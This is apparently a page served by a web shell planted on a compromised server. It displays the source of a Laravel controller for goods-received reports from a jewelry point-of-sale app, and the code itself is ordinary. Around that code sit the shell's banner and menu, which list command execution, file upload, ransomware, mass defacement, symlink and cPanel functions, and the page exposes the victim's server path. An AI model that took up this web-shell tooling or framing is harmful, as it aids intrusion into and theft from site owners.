KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/app/Http/Controllers/GrnReportController.php


<?php

namespace App\Http\Controllers;

use App\Exports\GrnReportsExport;
use App\Models\Product;
use App\Models\QtyHistory;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Facades\Excel;
use Illuminate\Support\Facades\DB;


class GrnReportController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function __construct()
    {
        set_time_limit(500000);
        $this->middleware('permission:reports-grn-list' , ['only' => ['index' , 'print' , 'destroy']]);
    }
    public function index(Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        $check = 0;
        if($q) {
            $productQtyHistories = QTYHistory::where('grn' , $q)->orderBy('id','desc')->paginate($paginate);
            if($productQtyHistories->isEmpty()){
                $check = 0;
            }else{
                $check = 1;
            }
        }else{
            $productQtyHistories = [];
            $check = 0;
        }
        return view('grn-reports.index' , compact('productQtyHistories' , 'paginate' , 'q' , 'check'));
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        //
    }

    public function print(Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        $check = 0;
        if($q) {
            $productQtyHistories = QTYHistory::where('grn' , $q)->orderBy('id','desc')->get();
            if($productQtyHistories->isEmpty()){
                $check = 0;
            }else{
                $check = 1;
            }
        }else{
            $productQtyHistories = [];
            $check = 0;
        }
        return view('grn-reports.list' , compact('productQtyHistories' , 'paginate' , 'q' , 'check'));
    }

    public function export(Request $request)
    {
        return Excel::download(new GrnReportsExport($request->get('q')), 'GRN Report.xlsx');
    }

    /**
     * Display the specified resource.
     */
    public function show(string $id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(string $id , Request $request)
    {
        $qtyHistory = QtyHistory::find($id);
        $q = $request->get('q');
        $product = $qtyHistory->product;
        if($qtyHistory->qty>0){
            $product->qty = $product->qty-$qtyHistory->qty;
        }
        else{
            $product->qty = $product->qty+(-$qtyHistory->qty);
        }
        $product->save();

        $qtyHistory->delete();
        return redirect()->route('grn-report.destroy' , 'q=' . $q)->with('success' , __('message.deleted successfully'));
    }

    public function grn_list(Request $request)
    {
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }
        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        if($q){
//            $productQtyHistories = QTYHistory::selectRaw('MAX(id) as id, grn, created_at')
//                ->where('grn', '<>', '')->where('grn' , $q)
//                ->groupBy('grn')
//                ->orderBy('id', 'desc')
//                ->paginate($paginate);
            $productQtyHistories = QTYHistory::selectRaw('MAX(qty_histories.id) as id, qty_histories.grn, qty_histories.created_at,qty_histories.is_adjustment')
            ->join('products', 'products.id', '=', 'qty_histories.product_id')
            ->where('qty_histories.grn', '<>', '')->where('qty_histories.is_adjustment' , false)
            ->where('qty_histories.grn', $q)
            ->whereNull('products.deleted_at')
            ->whereBetween('qty_histories.created_at', [$start_date.' 00:00:00', $end_date.' 23:59:59']) // Filter by date range
            ->groupBy('qty_histories.grn')
            ->orderBy('id', 'desc')
            ->paginate($paginate);
        }else{
//            $productQtyHistories = QTYHistory::selectRaw('MAX(id) as id, grn, created_at')
//                ->where('grn', '<>', '')
//                ->groupBy('grn')
//                ->orderBy('id', 'desc')
//                ->paginate($paginate);
            $productQtyHistories = QTYHistory::selectRaw('MAX(qty_histories.id) as id, qty_histories.grn, qty_histories.created_at,qty_histories.is_adjustment')
            ->join('products', 'products.id', '=', 'qty_histories.product_id')
            ->where('qty_histories.grn', '<>', '')->where('qty_histories.is_adjustment' , false)
            ->whereNull('products.deleted_at')
            ->whereBetween('qty_histories.created_at', [$start_date.' 00:00:00', $end_date.' 23:59:59']) // Filter by date range
            ->groupBy('qty_histories.grn')
            ->orderBy('id', 'desc')
            ->paginate($paginate);

        }

        return view('grn-reports.grn-list' , compact('productQtyHistories' , 'paginate' , 'q' , 'start_date' , 'end_date'));
    }

    public function grn_print(Request $request)
    {
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }

        $start = new \DateTime($start_date);
        $end = new \DateTime($end_date);

        $interval = $start->diff($end);
        $number_of_days = $interval->days + 1;

        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        $productQtyHistoriesForClone = QTYHistory::selectRaw('MAX(qty_histories.id) as id, qty_histories.grn, qty_histories.created_at,qty_histories.is_adjustment,qty_histories.*')
        ->join('products', 'products.id', '=', 'qty_histories.product_id')
        ->where('qty_histories.grn', '<>', '')->where('qty_histories.is_adjustment' , false)
        ->whereNull('products.deleted_at')
        ->whereBetween('qty_histories.created_at', [$start_date.' 00:00:00', $end_date.' 23:59:59']) // Filter by date range
        ->groupBy('qty_histories.grn');
        if($q){
            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone
            ->where('qty_histories.grn', $q)
            ->orderBy('id', 'desc')
            ->get();

        }else{
            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone
            ->orderBy('id', 'desc')
            ->get();
        }
        return view('grn-reports.grn-print' , compact('productQtyHistories' , 'paginate' , 'q' , 'start_date' , 'end_date' , 'productQtyHistoriesForClone' , 'number_of_days'));
    }

    public function grn_print_detail(Request $request)
    {
        $start_date = $request->get('start_date') ?? date('Y-m-d');
        $end_date = $request->get('end_date') ?? date('Y-m-d');
        $dates = explode(' - ', $request->date);
        if ($request->date) {
            $start_date = $dates[0];
            $end_date = $dates[1];
        }

        $start = new \DateTime($start_date);
        $end = new \DateTime($end_date);

        $interval = $start->diff($end);
        $number_of_days = $interval->days + 1;

        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        $productQtyHistoriesForClone = QTYHistory::selectRaw('MAX(qty_histories.id) as id, qty_histories.grn, qty_histories.created_at,qty_histories.is_adjustment,qty_histories.*')
            ->join('products', 'products.id', '=', 'qty_histories.product_id')
            ->where('qty_histories.grn', '<>', '')->where('qty_histories.is_adjustment' , false)
            ->whereNull('products.deleted_at')
            ->whereBetween('qty_histories.created_at', [$start_date.' 00:00:00', $end_date.' 23:59:59']) // Filter by date range
            ->groupBy('qty_histories.grn');
        if($q){
            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone
                ->where('qty_histories.grn', $q)
                ->orderBy('id', 'desc')
                ->get();

        }else{
            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone
                ->orderBy('id', 'desc')
                ->get();
        }
        return view('grn-reports.grn-print-detail' , compact('productQtyHistories' , 'paginate' , 'q' , 'start_date' , 'end_date' , 'productQtyHistoriesForClone' , 'number_of_days'));
    }

    public function grn_product_list($grn , Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        if($q){
            $productQtyHistories = QTYHistory::join('products', 'qty_histories.product_id', '=', 'products.id')
                ->where('qty_histories.grn', $grn)
                ->where('products.part_number', $q)->where('qty_histories.is_adjustment' , false)
                ->orderBy('qty_histories.id', 'desc')
                ->select('qty_histories.*', 'products.part_number as part_number')
                ->paginate($paginate);

        }else{
            $productQtyHistories = QTYHistory::join('products', 'qty_histories.product_id', '=', 'products.id')
                ->where('qty_histories.grn', $grn)->where('qty_histories.is_adjustment' , false)
                ->orderBy('qty_histories.id', 'desc')
                ->select('qty_histories.*', 'products.part_number as part_number')
                ->paginate($paginate);
        }
        return view('grn-reports.grn-product-list' , compact('productQtyHistories' , 'paginate' , 'q' , 'grn'));
    }

    public function grn_product_print($grn , Request $request)
    {
        $paginate = $request->get('paginate')??25;
        $q = $request->get('q');
        $productQtyHistoriesForClone = QTYHistory::join('products', 'qty_histories.product_id', '=', 'products.id')
                ->where('qty_histories.grn', $grn)->where('qty_histories.is_adjustment' , false);
        if($q){
            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone->where('products.part_number', $q)
                ->orderBy('qty_histories.id', 'desc')
                ->select('qty_histories.*', 'products.part_number as part_number')
                ->get();

            $total_sum_clone = clone $productQtyHistoriesForClone;
            $total_sum_costs = $total_sum_clone->where('products.part_number', $q)
            ->sum(DB::raw('qty_histories.qty * products.cost'));
            $total_sum_costss = $total_sum_clone->where('products.part_number', $q)
                ->sum(DB::raw('qty_histories.qty * qty_histories.product_cost'));
            if($total_sum_costss){
                $total_sum_cost = $total_sum_costss;
            }else{
                $total_sum_cost = $total_sum_costs;
            }

            $total_cost_clone = clone $productQtyHistoriesForClone;
            $total_cost = $total_cost_clone->where('products.part_number', $q)
            ->sum(DB::raw('products.cost'));
//            $total_costss = $total_cost_clone->where('products.part_number', $q)
//                ->sum(DB::raw('qty_histories.cost'));
//            if($total_costss){
//                $total_cost = $total_costss;
//            }else{
//                $total_cost = $total_costs;
//            }

            $total_cost_fee_clone = clone $productQtyHistoriesForClone;
            $total_cost_fee = $total_cost_fee_clone->where('products.part_number', $q)
            ->sum(DB::raw('products.original_wages'));

            $total_weight_clone = clone $productQtyHistoriesForClone;
            $total_weights = $total_weight_clone->where('products.part_number', $q)
            ->sum(DB::raw('qty_histories.weight'));
            $total_weightss = $total_weight_clone->where('products.part_number', $q)
                ->sum(DB::raw('products.weight'));
            if($total_weights){
                $total_weight = $total_weights;
            }else{
                $total_weight = $total_weightss;
            }

        }else{

            $productClone = clone $productQtyHistoriesForClone;
            $productQtyHistories = $productClone
                ->orderBy('qty_histories.id', 'desc')
                ->select('qty_histories.*', 'products.part_number as part_number')
                ->get();

            $total_sum_clone = clone $productQtyHistoriesForClone;
            $total_sum_costs = $total_sum_clone
            ->sum(DB::raw('qty_histories.qty * products.cost'));
            $total_sum_costss = $total_sum_clone
                ->sum(DB::raw('qty_histories.qty * qty_histories.product_cost'));
            if($total_sum_costss){
                $total_sum_cost = $total_sum_costss;
            }else{
                $total_sum_cost = $total_sum_costs;
            }

            $total_cost_clone = clone $productQtyHistoriesForClone;
            $total_cost = $total_cost_clone
            ->sum(DB::raw('products.cost'));
//            $total_costss = $total_cost_clone
//                ->sum(DB::raw('qty_histories.cost'));
//            if($total_costss){
//                $total_cost = $total_costss;
//            }else{
//                $total_cost = $total_costs;
//            }

            $total_cost_fee_clone = clone $productQtyHistoriesForClone;
            $total_cost_fee = $total_cost_fee_clone
            ->sum(DB::raw('products.original_wages'));

            $total_weight_clone = clone $productQtyHistoriesForClone;
            $total_weights = $total_weight_clone
            ->sum(DB::raw('qty_histories.weight'));
            $total_weightss = $total_weight_clone
                ->sum(DB::raw('products.weight'));
            if($total_weights){
                $total_weight = $total_weights;
            }else{
                $total_weight = $total_weightss;
            }

            // $productQtyHistories = QTYHistory::join('products', 'qty_histories.product_id', '=', 'products.id')
            //     ->orderBy('qty_histories.id', 'desc')
            //     ->select('qty_histories.*', 'products.part_number as part_number')
            //     ->paginate($paginate);

            // $total_sum_cost = QTYHistory::join('products', 'qty_histories.product_id', '=', 'products.id')
            // ->where('qty_histories.grn', $grn)
            // ->sum(DB::raw('qty_histories.qty * products.cost'));
        }

        return view('grn-reports.grn-product-print' , compact('productQtyHistories' , 'paginate' , 'q' , 'grn' , 'total_sum_cost' , 'total_cost'
            , 'total_weight'));
    }

    public function grn_product_export(Request $request , $grn)
    {
        return Excel::download(new GrnReportsExport($request->get('q'),$grn), 'GRN Report.xlsx');
    }

}

© KUJUNTI.ID